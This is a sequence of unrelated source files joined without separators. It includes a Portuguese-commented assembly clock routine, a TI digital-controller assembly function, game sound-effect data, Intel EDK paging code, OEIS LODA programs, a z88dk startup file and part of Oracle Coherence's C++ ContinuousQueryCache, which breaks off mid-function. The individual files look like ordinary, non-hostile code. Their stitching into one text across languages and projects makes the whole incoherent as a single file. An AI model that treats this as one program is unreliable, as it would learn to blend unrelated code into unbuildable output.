R1,M_H_U ; vamos buscar a memoria o número de horas (unidades) MOVB R3, [R1] ADD R3,1H MOV R4,M_H_D MOVB R5,[R4] CMP R5,2H ; caso específico das 24 horas JNZ normal CMP R3,4H ; caso específico das 24 horas JZ midnight normal: CMP R3, R0 ; verificamos se ja temos 10 minutos JZ h1 MOVB [R1],R3 JMP saida h1: MOV R3,0H MOVB [R1],R3 ; depois do valor 9 recolocamos o valor 0 h2: MOV R0, 6H MOV R1,M_H_D MOVB R3, [R1] ; vamos buscar a memoria o número de minutos (dezenas) ADD R3,1H MOVB [R1],R3 JMP saida midnight: MOV R3,0H ; todas as memorias ficarão com o valor zero MOV R1,M_H_D MOVB [R1],R3 MOV R1,M_H_U MOVB [R1],R3 MOV R1,M_M_D MOVB [R1],R3 MOV R1,M_M_U MOVB [R1],R3 MOV R1,M_S_D MOVB [R1],R3 MOV R1,M_S_U MOVB [R1],R3 saida: POP R5 POP R4 POP R1 POP R3 POP R0 RET ; ********************************************************************************* ;* -- retorna_valor---------------------------------------------------------------- ;* ;* Descrição: Rotina que retorna o valor da tecla pressionada ou FFH se nenhuma for carregada ;* ;* Parâmetros: R1,R3 ;* Retorna: R8 -- valor da tecla pressionada ;* Destrói: ;* Notas: -- retorna_valor: PUSH R1 PUSH R2 PUSH R3 PUSH R4 PUSH R5 PUSH R6 PUSH R7 PUSH R10 MOV R1, LINHA ; testar a linha 1 MOV R2, PINPOUT ; R2 com o endereço do periférico MOV R6, LIMITE ; R6 com o valor 16 em decimal MOV R3, VALOR ; R3 com valor 0 MOV R4, MULTI ; R4 com valor 4H MOV R5,OITO ; R5 com valor 8H ciclox: MOVB [R2], R1 ; escrever no porto de saída MOVB R3, [R2] ; ler do porto de entrada MOV R10,0FH ; Máscara AND R3, R10 ; afectar as flags (MOVs não afectam as flags) JZ linhas ; nenhuma tecla premida MOV R8,R1 ; cópia do valor de R1 para R8 CMP R1,2H ; saber o número da linha para saber que calculo teremos de fazer para obter o valor a exibir no display JLE Calc1 ; CMP R1,R4 ; saber o número da linha para saber que calculo teremos de fazer para obter o valor a exibir no display JZ Calc2 CMP R1,R5 ; saber o número da linha para saber que calculo teremos de fazer para obter o valor a exibir no display JZ Calc3 nada: MOV R10,0FFH MOV R8,R10 ; retorna o valor FFH JMP popes linhas: SHL R1,1H ; troca de linha CMP R1,R6 ; verifica se ja lemos a 4a linha JZ nada ; salta se ja tiver lido a ultima linha JMP ciclox ; salta se ainda nao tiver lido a ultima linha Calc1: SUB R8,1H JMP valor Calc2: SHR R8,1H ; dividimos o valor da linha por 2 JMP valor ; Calc3: SUB R8,5H ; subtraimos 5 ao valor da linha valor: CMP R3,2H ; saber o número da linha para saber que calculo teremos de fazer para obter o valor a exibir no display JLE Colunas1 CMP R3,R4 ; saber o número da linha para saber que calculo teremos de fazer para obter o valor a exibir no display JZ Colunas2 CMP R3,R5 ; saber o número da linha para saber que calculo teremos de fazer para obter o valor a exibir no display JZ Colunas3 Colunas1: SUB R3,1H Colunas2: SHR R3,1H ; dividimos o valor da coluna por 2 JMP display Colunas3: SUB R3,5H display: MUL R8,R4 ; multiplicamos pelo número de elementos do teclado por linha (4) ADD R8,R3 ; somamos os dois valores para obter o valor para exibir no display press: MOVB R3,[R2] ; ler do porto de entrada AND R3, R3 ; afectar as flags (MOVs não afectam as flags) JNZ press popes: POP R10 POP R7 POP R6 POP R5 POP R4 POP R3 POP R2 POP R1 RET ;* -- acerto-------------------------------------------------------------------------------------------- ;* ;* Descrição: Rotina que desliga a ocorrência de interrupções e permite realizar o ajuste do relógio ;* ;* Parâmetros: R8 ;* Retorna: -- ;* Destrói: -- acerto: DI PUSH R1 PUSH R2 PUSH R3 PUSH R4 PUSH R5 MOV R1,M_H_D MOV R2,M_H_U MOV R3,M_M_D MOV R4,M_M_U MOV R5, 9H begin: CALL retorna_valor CMP R8,2H ; o número de horas(dezenas) não pode ser superior a 2 JGT begin MOVB [R1],R8 begin2: CALL retorna_valor CMP R8,R5 JGT begin2 ; o número de horas (unidades) não pode ser superior a 9 MOVB [R2],R8 begin3: CALL retorna_valor CMP R8,5H ; o número de minutos(dezenas) não pode ser superior a 5 JGT begin3 MOVB [R3],R8 begin4: CALL retorna_valor CMP R8,R5 ; o número de minutos(unidades) não pode ser superior a 9 JGT begin4 MOVB [R4],R8 MOV R1,M_S_D MOV R2,0H ; vamos colocar os dois dígitos dos segundos a 0 MOVB [R1], R2 MOV R1,M_S_U MOVB [R1], R2 waitf: CALL retorna_valor MOV R3,0FH CMP R8,R3 ; verifica se o utilizador pressionou a tecla F JZ volta JMP waitf volta: POP R5 POP R4 POP R3 POP R2 POP R1 RET ;* -- acertot-------------------------------------------------------------------------------------------- ;* ;* Descrição: Rotina que permite colocar valores no relogio para efeitos de teste ;* ;* Parâmetros: R8 ;* Retorna: -- ;* Destrói: -- acertot: PUSH R1 PUSH R2 PUSH R3 PUSH R4 PUSH R6 MOV R1,M_H_D MOV R2,M_H_U MOV R3,M_M_D MOV R4,M_M_U begin1: MOV R8,2H MOVB [R1],R8 MOV R8,3H MOVB [R2],R8 MOV R8,5H MOVB [R3],R8 MOV R6,9H MOV R8,R6 MOVB [R4],R8 MOV R1,M_S_D MOV R2,0H MOVB [R1], R2 MOV R1,M_S_U MOVB [R1], R2 POP R6 POP R4 POP R3 POP R2 POP R1 RET ; ************************************************************************************************************* ; * Interrupções ; ************************************************************************************************************* rot0: ; rotina de interrupção PUSH R3 PUSH R0 MOV R3,FLAG MOV R0,1H ; indicativo de + 1 segundo MOVB [R3], R0 ; guarda na memória do endereço FLAG POP R0 POP R3 RFE
; DCL_DF23.asm - Direct Form 2 implementation in third order ; version 1.0, August 2015 ; define C callable labels .def _DCL_runDF23 ; full DF2 controller .def _DCL_runDF23i ; immediate result .def _DCL_runDF23p ; pre-computed partial result ; ; C type definition: ; typedef volatile struct { ; float b0; // [0] ; float b1; // [2] ; float b2; // [4] ; float b3; // [6] ; float a1; // [8] ; float a2; // [A] ; float a3; // [C] ; float x1; // [E] ; float x2; // [10] ; float x3; // [12] ; } DF23; ;*** full DF23 controller *** ; C prototype: ; float DCL_runDF23(DF23 *p, float ek) ; argument 1 = *p : 32-bit ARMA structure address [XAR4] ; argument 2 = ek : 32-bit floating-point input [R0H] ; return = uk : 32-bit floating-point [R0H] ; example of section allocation in linker command file: ; dclfuncs : > RAML4, PAGE = 0 .sect "dclfuncs" _DCL_runDF23: PUSH XAR5 MOV32 *SP++, R1H MOV32 *SP++, R2H MOV32 *SP++, R3H MOV32 *SP++, R4H MOV32 *SP++, R5H MOV32 *SP++, R6H MOV32 *SP++, R7H MOVL ACC, @XAR4 ; ACC = &b0 ADDB ACC, #0xE ; ACC = &x1 MOVL XAR5, ACC ; XAR5 = &x1 MOV32 R1H, *XAR5++ ; R1H = x1 MOV32 R2H, *XAR4++ ; R2H = b0 MPYF32 R3H, R2H, R0H ; R3H = v1 MOV32 R2H, *XAR4++ ; R2H = b1 ADDF32 R7H, R1H, R3H ; R7H = uk || MOV32 R3H, *XAR4++ ; R3H = b2 MPYF32 R1H, R2H, R0H ; R1H = v2 || MOV32 R4H, *XAR4++ ; R4H = b3 MPYF32 R2H, R3H, R0H ; R2H = v4 || MOV32 R5H, *XAR4++ ; R5H = a1 MPYF32 R3H, R4H, R0H ; R3H = v6 || MOV32 R6H, *XAR4++ ; R6H = a2 MPYF32 R4H, R5H, R7H ; R4H = v3 || MOV32 R0H, *XAR5++ ; R0H = x2 ADDF32 R1H, R0H, R1H ; R1H = v2 + x2 MOV32 R0H, *XAR4++ ; R0H = a3 SUBF32 R1H, R1H, R4H ; R1H = x1d MPYF32 R5H, R6H, R7H ; R5H = v5 || MOV32 R6H, *XAR5 ; R6H = x3 ADDF32 R2H, R2H, R6H ; R2H = v4 + x3 MOV32 *XAR4++, R1H ; save x1 SUBF32 R2H, R2H, R5H ; R2H = x2d MPYF32 R5H, R0H, R7H ; R5H = v7 MOV32 *XAR4++, R2H ; save x2 SUBF32 R3H, R3H, R5H ; R3H = x3d MOV32 R0H, R7H, UNCF ; save uk MOV32 *XAR4, R3H ; save x3 MOV32 R7H, *--SP, UNCF MOV32 R6H, *--SP, UNCF MOV32 R5H, *--SP, UNCF MOV32 R4H, *--SP, UNCF MOV32 R3H, *--SP, UNCF MOV32 R2H, *--SP, UNCF MOV32 R1H, *--SP, UNCF POP XAR5 LRETR ;*** immediate controller when using pre-computation *** ; C prototype: ; float DCL_runDF23i(DF23 *p, float ek) ; argument 1 = *p : controller structure address [XAR4] ; argument 2 = ek : controller input [R0H] ; return = uk : controller output [R0H] _DCL_runDF23i: MOV32 *SP++, R1H MOV32 R1H, *+XAR4[0] ; R1H = b0 MOV AR0, #0xE ; AR0 = 14 MPYF32 R0H, R0H, R1H ; R0H = ek * b0 MOV32 R1H, *+XAR4[AR0] ; R1H = x1 ADDF32 R0H, R0H, R1H ; R0H = uk MOV32 R1H, *--SP, UNCF LRETR ;*** partial controller when using pre-computation *** ; C prototype: ; void DCL_runDF23p(DF23 *p, float ek, float uk) ; argument 1 = *p : controller structure address [XAR4] ; argument 2 = ek : controller input [R0H] ; argument 3 = uk : u(k) output [R1H] ; return: void _DCL_runDF23p: MOV32 *SP++, R2H MOV32 *SP++, R3H MOV32 *SP++, R4H MOV32 *SP++, R5H MOV32 *SP++, R6H MOV32 *SP++, R7H MOVL ACC, @XAR4 ; ACC = &b0 ADDB ACC, #0x10 ; ACC = &x2 MOVL XAR5, ACC ; XAR5 = &x2 MOV32 R2H, *XAR4++ ; R2H = b0 MOV32 R2H, *XAR4++ ; R2H = b1 MPYF32 R3H, R0H, R2H ; R3H = v2 || MOV32 R4H, *XAR5++ ; R4H = x2 MOV32 R2H, *XAR4++ ; R2H = b2 ADDF32 R3H, R3H, R4H ; R3H = v2 + x2 || MOV32 R4H, *XAR4++ ; R4H = b3 MPYF32 R5H, R0H, R2H ; R5H = v4 || MOV32 R6H, *XAR4++ ; R6H = a1 MPYF32 R7H, R4H, R0H ; R7H = v6 || MOV32 R4H, *XAR4++ ; R4H = a2 MPYF32 R6H, R6H, R1H ; R6H = v3 MOV32 R0H, *XAR4++ ; R0H = a3 SUBF32 R3H, R3H, R6H ; R3H = x1d MPYF32 R4H, R4H, R1H ; R4H = v5 MOV32 R2H, *XAR5 ; R2H = x3 MOV32 *XAR4++, R3H ; save x1 ADDF32 R5H, R5H, R2H ; R5H = v4 + x3 MPYF32 R1H, R0H, R1H ; R1H = v7 SUBF32 R4H, R5H, R4H ; R4H = x2d SUBF32 R7H, R7H, R1H ; R7H = x3d MOV32 *XAR4++, R4H ; save x2 MOV32 *XAR4, R7H ; save x3 MOV32 R7H, *--SP, UNCF MOV32 R6H, *--SP, UNCF MOV32 R5H, *--SP, UNCF MOV32 R4H, *--SP, UNCF MOV32 R3H, *--SP, UNCF MOV32 R2H, *--SP, UNCF LRETR .end ; end of file
SFX_Cry1D_3_Ch5: duty_cycle_pattern 3, 3, 1, 0 square_note 15, 15, 0, 1797 square_note 10, 14, 0, 1792 square_note 6, 11, 4, 1808 square_note 4, 13, 3, 1792 square_note 6, 11, 2, 1568 square_note 8, 10, 1, 1572 sound_ret SFX_Cry1D_3_Ch6: duty_cycle_pattern 0, 2, 0, 2 square_note 15, 11, 0, 1731 square_note 10, 10, 0, 1729 square_note 6, 8, 4, 1746 square_note 4, 9, 3, 1729 square_note 6, 8, 2, 1505 square_note 8, 6, 1, 1512 sound_ret SFX_Cry1D_3_Ch8: noise_note 6, 14, 6, 76 noise_note 15, 13, 6, 60 noise_note 10, 12, 5, 74 noise_note 1, 11, 2, 91 noise_note 15, 12, 2, 76 sound_ret
;------------------------------------------------------------------------------ ; ; Copyright (c) 2006, Intel Corporation. All rights reserved.<BR> ; This program and the accompanying materials ; are licensed and made available under the terms and conditions of the BSD License ; which accompanies this distribution. The full text of the license may be found at ; http://opensource.org/licenses/bsd-license.php. ; ; THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, ; WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. ; ; Module Name: ; ; EnablePaging64.Asm ; ; Abstract: ; ; AsmEnablePaging64 function ; ; Notes: ; ;------------------------------------------------------------------------------ SECTION .text ;------------------------------------------------------------------------------ ; VOID ; EFIAPI ; InternalX86EnablePaging64 ( ; IN UINT16 Cs, ; IN UINT64 EntryPoint, ; IN UINT64 Context1, OPTIONAL ; IN UINT64 Context2, OPTIONAL ; IN UINT64 NewStack ; ); ;------------------------------------------------------------------------------ global ASM_PFX(InternalX86EnablePaging64) ASM_PFX(InternalX86EnablePaging64): cli mov DWORD [esp], .0 ; offset for far retf, seg is the 1st arg mov eax, cr4 or al, (1 << 5) mov cr4, eax ; enable PAE mov ecx, 0xc0000080 rdmsr or ah, 1 ; set LME wrmsr mov eax, cr0 bts eax, 31 ; set PG mov cr0, eax ; enable paging retf ; topmost 2 dwords hold the address .0: DB 0x67, 0x48 ; 32-bit address size, 64-bit operand size mov ebx, [esp] ; mov rbx, [esp] DB 0x67, 0x48 mov ecx, [esp + 8] ; mov rcx, [esp + 8] DB 0x67, 0x48 mov edx, [esp + 0x10] ; mov rdx, [esp + 10h] DB 0x67, 0x48 mov esp, [esp + 0x18] ; mov rsp, [esp + 18h] DB 0x48 add esp, -0x20 ; add rsp, -20h call ebx ; call rbx hlt ; no one should get here
; A081343: a(n) = (10^n + 4^n)/2. ; 1,7,58,532,5128,50512,502048,5008192,50032768,500131072,5000524288,50002097152,500008388608,5000033554432,50000134217728,500000536870912,5000002147483648,50000008589934592,500000034359738368,5000000137438953472,50000000549755813888,500000002199023255552,5000000008796093022208,50000000035184372088832,500000000140737488355328,5000000000562949953421312,50000000002251799813685248,500000000009007199254740992,5000000000036028797018963968,50000000000144115188075855872,500000000000576460752303423488,5000000000002305843009213693952,50000000000009223372036854775808,500000000000036893488147419103232,5000000000000147573952589676412928,50000000000000590295810358705651712,500000000000002361183241434822606848 mov $1,4 pow $1,$0 mov $2,10 pow $2,$0 add $1,$2 mov $0,$1 div $0,2
; A047081: Sum{T(n,i): i=0,1,...,n}, array T as in A047080. ; 1,2,3,6,11,20,35,62,107,188,323,566,971,1700,2915,5102,8747,15308,26243,45926,78731,137780,236195,413342,708587,1240028,2125763,3720086,6377291,11160260,19131875,33480782,57395627 seq $0,90993 ; Number of meaningful differential operations of the n-th order on the space R^8. sub $0,1 div $0,6
; ; Startup for Nichibutsu My Vision ; ; 2k of memory module myvision_crt0 defc crt0 = 1 INCLUDE "zcc_opt.def" EXTERN _main ;main() is always external to crt0 code PUBLIC cleanup ;jp'd to by exit() PUBLIC l_dcal ;jp(hl) PUBLIC msxbios EXTERN msx_set_mode EXTERN asm_im1_handler EXTERN nmi_vectors EXTERN im1_vectors EXTERN asm_interrupt_handler EXTERN __vdp_enable_status EXTERN VDP_STATUS defc CONSOLE_COLUMNS = 32 defc CONSOLE_ROWS = 24 defc CRT_ORG_BSS = 0xa000 defc CRT_ORG_CODE = 0x0000 defc TAR__fputc_cons_generic = 1 defc TAR__no_ansifont = 1 defc TAR__clib_exit_stack_size = 0 defc TAR__register_sp = 0xa800 defc CRT_KEY_DEL = 127 defc __CPU_CLOCK = 3579545 ; VDP signals delivered to im1 defc TAR__crt_enable_rst = $8080 defc _z80_rst_38h = tms9918_interrupt ; No NMI on this machine INCLUDE "crt/classic/crt_rules.inc" org CRT_ORG_CODE if (ASMPC<>$0000) defs CODE_ALIGNMENT_ERROR endif jp start INCLUDE "crt/classic/crt_z80_rsts.asm" INCLUDE "crt/classic/tms9918/interrupt.asm" ei reti int_VBL: ld hl,im1_vectors call asm_interrupt_handler pop hl pop af ei reti start: INCLUDE "crt/classic/crt_init_sp.asm" INCLUDE "crt/classic/crt_init_atexit.asm" call crt0_init_bss ld (exitsp),sp ld hl,2 call msx_set_mode im 1 ; Configure the AY to enable reading the keys ld a,$07 out ($00),a in a,($02) set 7,a res 6,a out ($01),a ei ; Optional definition for auto MALLOC init ; it assumes we have free space between the end of ; the compiled program and the stack pointer IF DEFINED_USING_amalloc INCLUDE "crt/classic/crt_init_amalloc.asm" ENDIF call _main cleanup: rst 0 ;Restart when main finishes ; Safe BIOS call msxbios: push ix ret l_dcal: jp (hl) ;Used for function pointer calls INCLUDE "crt/classic/crt_runtime_selection.asm" defc __crt_org_bss = CRT_ORG_BSS IF DEFINED_CRT_MODEL defc __crt_model = CRT_MODEL ELSE defc __crt_model = 1 ENDIF INCLUDE "crt/classic/crt_section.asm"
/* * Copyright (c) 2000, 2020, Oracle and/or its affiliates. * * Licensed under the Universal Permissive License v 1.0 as shown at * http://oss.oracle.com/licenses/upl. */ #include "coherence/net/cache/ContinuousQueryCache.hpp" #include "coherence/internal/net/NamedCacheDeactivationListener.hpp" #include "coherence/util/AbstractMapListener.hpp" #include "coherence/util/AbstractSet.hpp" #include "coherence/util/AbstractStableIterator.hpp" #include "coherence/util/ArrayList.hpp" #include "coherence/util/Collections.hpp" #include "coherence/util/ConcurrentModificationException.hpp" #include "coherence/util/FilterMuterator.hpp" #include "coherence/util/HashSet.hpp" #include "coherence/util/Iterator.hpp" #include "coherence/util/MapEventTransformer.hpp" #include "coherence/util/MapListenerSupport.hpp" #include "coherence/util/MapTriggerListener.hpp" #include "coherence/util/Muterator.hpp" #include "coherence/util/ReadOnlyArrayList.hpp" #include "coherence/util/SafeHashMap.hpp" #include "coherence/util/SimpleMapIndex.hpp" #include "coherence/util/Supplier.hpp" #include "coherence/util/filter/AlwaysFilter.hpp" #include "coherence/util/filter/AndFilter.hpp" #include "coherence/util/filter/KeyAssociatedFilter.hpp" #include "coherence/util/filter/LimitFilter.hpp" #include "coherence/util/filter/MapEventTransformerFilter.hpp" #include "coherence/util/filter/NotFilter.hpp" #include "coherence/util/processor/ExtractorProcessor.hpp" #include "coherence/util/transformer/ExtractorEventTransformer.hpp" #include "coherence/util/transformer/SemiLiteEventTransformer.hpp" #include "private/coherence/component/util/QueueProcessor.hpp" #include "private/coherence/component/util/SafeNamedCache.hpp" #include "private/coherence/util/InvocableMapHelper.hpp" #include "private/coherence/util/ObservableHashMap.hpp" #include "private/coherence/util/SimpleMapEntry.hpp" #include "private/coherence/util/logging/Logger.hpp" COH_OPEN_NAMESPACE3(coherence,net,cache) using coherence::component::util::QueueProcessor; using coherence::component::util::SafeNamedCache; using coherence::internal::net::NamedCacheDeactivationListener; using coherence::util::AbstractMapListener; using coherence::util::AbstractSet; using coherence::util::AbstractStableIterator; using coherence::util::ArrayList; using coherence::util::Collections; using coherence::util::ConcurrentModificationException; using coherence::util::FilterMuterator; using coherence::util::HashMap; using coherence::util::HashSet; using coherence::util::InvocableMapHelper; using coherence::util::Iterator; using coherence::util::MapEventTransformer; using coherence::util::MapListenerSupport; using coherence::util::MapTriggerListener; using coherence::util::Muterator; using coherence::util::ObservableHashMap; using coherence::util::ReadOnlyArrayList; using coherence::util::SafeHashMap; using coherence::util::SimpleMapEntry; using coherence::util::SimpleMapIndex; using coherence::util::Supplier; using coherence::util::filter::AlwaysFilter; using coherence::util::filter::AndFilter; using coherence::util::filter::KeyAssociatedFilter; using coherence::util::filter::LimitFilter; using coherence::util::filter::MapEventTransformerFilter; using coherence::util::filter::NotFilter; using coherence::util::processor::ExtractorProcessor; using coherence::util::transformer::ExtractorEventTransformer; using coherence::util::transformer::SemiLiteEventTransformer; using coherence::util::logging::Logger; COH_OPEN_NAMESPACE_ANON(ContinuousQueryCache) /** * Simple Supplier implementation that returns the NamedCache * provided at construction. */ class COH_EXPORT CacheSupplier : public class_spec<CacheSupplier, extends<Object>, implements<Supplier> > { friend class factory<CacheSupplier>; // ---- constructors ---------------------------------------------------- protected: /** * Create a new Supplier that returns the NamedCache * provided here. * * @param hNamedCache the NamedCache */ CacheSupplier(NamedCache::Handle hNamedCache) : f_hNamedCache(self(), hNamedCache) { } private: /** * Blocked copy constructor. */ CacheSupplier(const CacheSupplier&); // ----- Supplier interface ----------------------------------------- public: virtual Object::Holder get() const { return f_hNamedCache; } virtual Object::Holder get() { return f_hNamedCache; } // ----- data members ----------------------------------------------- protected: FinalHandle<NamedCache> f_hNamedCache; }; COH_CLOSE_NAMESPACE_ANON // TODO REVIEW MF: Evaluate use of so many mutables, it is likely that // there should be no such concept as an immutable remote cache; unfortunately // the object model doesn't help us here. We somewhat dealt with this in // LocalCache in a bit cleaner of a way (avoiding all the mutables), but this // was only doable because those caches are stored in CacheFactories. // ----- constants ---------------------------------------------------------- COH_EXPORT_SPEC_MEMBER(const int32_t ContinuousQueryCache::state_disconnected) COH_EXPORT_SPEC_MEMBER(const int32_t ContinuousQueryCache::state_configuring) COH_EXPORT_SPEC_MEMBER(const int32_t ContinuousQueryCache::state_configured) COH_EXPORT_SPEC_MEMBER(const int32_t ContinuousQueryCache::state_synchronized) // ----- constructors ------------------------------------------------------- ContinuousQueryCache::ContinuousQueryCache(NamedCache::Handle hCache, Filter::View vFilter, bool fCacheValues, MapListener::Handle hListener, ValueExtractor::View vTransformer) : m_hCache(self(), NULL, /*fMutable*/ true), f_vsName(self(), NULL), f_vFilter(self(), vFilter == NULL ? cast<Filter::View>(AlwaysFilter::getInstance()) : vFilter), m_fCacheValues(fCacheValues), m_fReadOnly(vTransformer != NULL), m_cReconnectMillis(0), m_ldtConnectionTimestamp(self(), 0, /*fMutable*/ true), m_hMapLocal(self(), (ObservableMap::Handle) NULL, /*fMutable*/ true), m_nState(self(), state_disconnected, /*fMutable*/ true), m_hMapSyncReq(self(), (Map::Handle) NULL, /*fMutable*/ true), m_hTaskQueue(self(), NULL, /*fMutable*/ true), m_fListeners(false), m_vFilterAdd(self(), NULL, /*fMutable*/ true), m_vFilterRemove(self(), NULL, /*fMutable*/ true), m_whListenerAdd(self(), (MapListener::Handle) NULL, /*fMutable*/ true), m_whListenerRemove(self(), (MapListener::Handle) NULL, /*fMutable*/ true), m_whListenerService(self(), (MemberListener::Handle) NULL, /*fMutable*/ true), m_hListener(self(), hListener, /*fMutable*/ true), f_vTransformer(self(), vTransformer), f_hMapIndex(self(), SafeHashMap::create()), f_hSetKeys(self()), f_hSetEntries(self()), f_vCacheSupplier(self(), CacheSupplier::create(hCache)), m_vCacheNameSupplier(self(), NULL), m_hListenerDeactivation(self(), NULL, /*fMutable*/ true) { } ContinuousQueryCache::ContinuousQueryCache(Supplier::View vCacheSupplier, Filter::View vFilter, bool fCacheValues, MapListener::Handle hListener, ValueExtractor::View vTransformer) : m_hCache(self(), NULL, /*fMutable*/ true), f_vsName(self(), NULL), f_vFilter(self(), vFilter == NULL ? cast<Filter::View>(AlwaysFilter::getInstance()) : vFilter), m_fCacheValues(fCacheValues), m_fReadOnly(vTransformer != NULL), m_cReconnectMillis(0), m_ldtConnectionTimestamp(self(), 0, /*fMutable*/ true), m_hMapLocal(self(), (ObservableMap::Handle) NULL, /*fMutable*/ true), m_nState(self(), state_disconnected, /*fMutable*/ true), m_hMapSyncReq(self(), (Map::Handle) NULL, /*fMutable*/ true), m_hTaskQueue(self(), NULL, true), m_fListeners(false), m_vFilterAdd(self(), NULL, /*fMutable*/ true), m_vFilterRemove(self(), NULL, /*fMutable*/ true), m_whListenerAdd(self(), (MapListener::Handle) NULL, /*fMutable*/ true), m_whListenerRemove(self(), (MapListener::Handle) NULL, /*fMutable*/ true), m_whListenerService(self(), (MemberListener::Handle) NULL, /*fMutable*/ true), m_hListener(self(), hListener, /*fMutable*/ true), f_vTransformer(self(), vTransformer), f_hMapIndex(self(), SafeHashMap::create()), f_hSetKeys(self()), f_hSetEntries(self()), f_vCacheSupplier(self(), vCacheSupplier), m_vCacheNameSupplier(self(), NULL), m_hListenerDeactivation(self(), NULL, /*fMutable*/ true) { } // ----- accessors ---------------------------------------------------------- NamedCache::View ContinuousQueryCache::getCache() const { return getCacheInternal(); } NamedCache::Handle ContinuousQueryCache::getCache() { return getCacheInternal(); } Filter::View ContinuousQueryCache::getFilter() const { return f_vFilter; } ValueExtractor::View ContinuousQueryCache::getTransformer() const { return f_vTransformer; } MapListener::View ContinuousQueryCache::getMapListener() const { return m_hListener; } bool ContinuousQueryCache::isCacheValues() const { return m_fCacheValues || isObserved(); } void ContinuousQueryCache::setCacheValues(bool fCacheValues) { COH_SYNCHRONIZED(this) { if (fCacheValues != m_fCacheValues) { bool fDidCacheValues = isCacheValues(); // If we are no longer caching the values then we don't need the // local indexes. if (fDidCacheValues) { releaseIndexMap(); } m_fCacheValues = fCacheValues; if (isCacheValues() != fDidCacheValues) { configureSynchronization(false); } } } } bool ContinuousQueryCache::isReadOnly() const { return m_fReadOnly; } void ContinuousQueryCache::setReadOnly(bool fReadOnly) { COH_SYNCHRONIZED(this) { if (fReadOnly != isReadOnly()) { // once the cache is read-only, changing its read-only setting is // a mutating operation and thus is dis-allowed checkReadOnly(); m_fReadOnly = fReadOnly; } } } int32_t ContinuousQueryCache::getState() const { return m_nState; } int64_t ContinuousQueryCache::getReconnectInterval() const { return m_cReconnectMillis; } void ContinuousQueryCache::setReconnectInterval(int64_t cReconnectMillis) { m_cReconnectMillis = cReconnectMillis; } Supplier::View ContinuousQueryCache::getCacheNameSupplier() const { return m_vCacheNameSupplier; } void ContinuousQueryCache::setCacheNameSupplier(Supplier::View hCacheNameSupplier) { m_vCacheNameSupplier = hCacheNameSupplier; } ObservableMap::Handle ContinuousQueryCache::instantiateInternalCache() const { return ObservableHashMap::create(); } ObservableMap::Handle ContinuousQueryCache::ensureInternalCache() const { ObservableMap::Handle hMapLocal = m_hMapLocal; if (hMapLocal == NULL) { hMapLocal = m_hMapLocal = instantiateInternalCache(); if (m_fListeners) { MapListener::Handle hListener = m_hListener; ensureEventQueue(); hMapLocal->addFilterListener(instantiateEventRouter(m_hListener, false)); } } return hMapLocal; } ObservableMap::View ContinuousQueryCache::getInternalCache() const { ensureSynchronized(true); return m_hMapLocal; } ObservableMap::Handle ContinuousQueryCache::getInternalCache() { ensureSynchronized(true); return m_hMapLocal; } bool ContinuousQueryCache::isObserved() const { return m_fListeners; } void ContinuousQueryCache::setObserved(bool fObserved) { COH_SYNCHRONIZED(this) { if (fObserved != isObserved()) { bool fDidCacheValues = isCacheValues(); m_fListeners = fObserved; if (isCacheValues() != fDidCacheValues) { configureSynchronization(false); } } } } void ContinuousQueryCache::changeState(int32_t nState) const { switch (nState) { case state_disconnected: m_hCache = NULL; m_nState = state_disconnected; break; case state_configuring: COH_SYNCHRONIZED(this) { int32_t nStatePrev = m_nState; COH_ENSURE(state_disconnected == nStatePrev || state_synchronized == nStatePrev) m_hMapSyncReq = SafeHashMap::create(); m_nState = state_configuring; } break; case state_configured: COH_SYNCHRONIZED(this) { if (state_configuring == m_nState) { m_nState = state_configured; } else { COH_THROW_STREAM(IllegalStateException, getCacheName() << " has been invalidated") } } break; case state_synchronized: COH_SYNCHRONIZED(this) { if (state_configured == m_nState) { m_hMapSyncReq = NULL; m_nState = state_synchronized; } else { COH_THROW_STREAM(IllegalStateException, getCacheName() << " has been invalidated") } } break; default: COH_THROW_STREAM(IllegalArgumentException, "unknown state: " << nState) } } // ----- Map interface ------------------------------------------------------ Object::Holder ContinuousQueryCache::get(Object::View vKey) const { return isCacheValues() ? getInternalCache()->get(vKey) : containsKey(vKey) ? getCache()->get(vKey) : NULL; } Object::Holder ContinuousQueryCache::put(Object::View vKey, Object::Holder ohValue) { Object::Holder ohOrig = NULL; checkReadOnly(); checkEntry(vKey, ohValue); // see if the putAll() optimization will work; this requires the // return value to be locally cached, or knowledge that the orig // value is null (because it is not present in the // ContinuousQueryCache) NamedCache::Handle cache = getCache(); bool fLocalCache = isCacheValues(); bool fPresent = containsKey(vKey); if (fLocalCache || !fPresent) { ohOrig = fPresent ? getInternalCache()->get(vKey) : NULL; cache->putAll(Collections::singletonMap(vKey, ohValue)); } else { ohOrig = cache->put(vKey, ohValue); if (!InvocableMapHelper::evaluateEntry(getFilter(), SimpleMapEntry::create(vKey, ohOrig))) { ohOrig = NULL; } } return ohOrig; } Object::Holder ContinuousQueryCache::remove(Object::View vKey) { checkReadOnly(); Object::Holder ohOrig = NULL; if (containsKey(vKey)) { NamedCache::Handle hCache = getCache(); if (isCacheValues()) { ohOrig = getInternalCache()->get(vKey); removeBlind(vKey); } else { ohOrig = hCache->remove(vKey); } } return ohOrig; } void ContinuousQueryCache::putAll(Map::View vMap) { checkReadOnly(); for (Iterator::Handle hIter = vMap->entrySet()->iterator(); hIter->hasNext(); ) { checkEntry(cast<Map::Entry::View>(hIter->next())); } getCache()->putAll(vMap); } void ContinuousQueryCache::clear() { checkReadOnly(); getCache()->keySet()->removeAll(getInternalKeySet()); } bool ContinuousQueryCache::containsKey(Object::View vKey) const { return getInternalCache()->containsKey(vKey); } Set::View ContinuousQueryCache::keySet() const { return f_hSetKeys; } Set::Handle ContinuousQueryCache::keySet() { return f_hSetKeys; } Set::View ContinuousQueryCache::entrySet() const { return f_hSetEntries; } Set::Handle ContinuousQueryCache::entrySet() { return f_hSetEntries; } size32_t ContinuousQueryCache::size() const { return getInternalCache()->size(); } // ----- CacheMap interface ------------------------------------------------- Map::View ContinuousQueryCache::getAll(Collection::View vKeys) const { Map::Handle hMapResult = NULL; Map::View vMapLocal = getInternalCache(); if (isCacheValues()) { hMapResult = HashMap::create(); for (Iterator::Handle hIter = vKeys->iterator(); hIter->hasNext(); ) { Object::Holder ohKey = hIter->next(); Object::Holder ohVal = vMapLocal->get(ohKey); if (ohVal != NULL || containsKey(ohKey)) { hMapResult->put(ohKey, ohVal); } } } else if (vKeys->size() <= 1) { // optimization: the requested set is either empty or the caller // is doing a combined "containsKey() and get()" hMapResult = HashMap::create(); for (Iterator::Handle hIter = 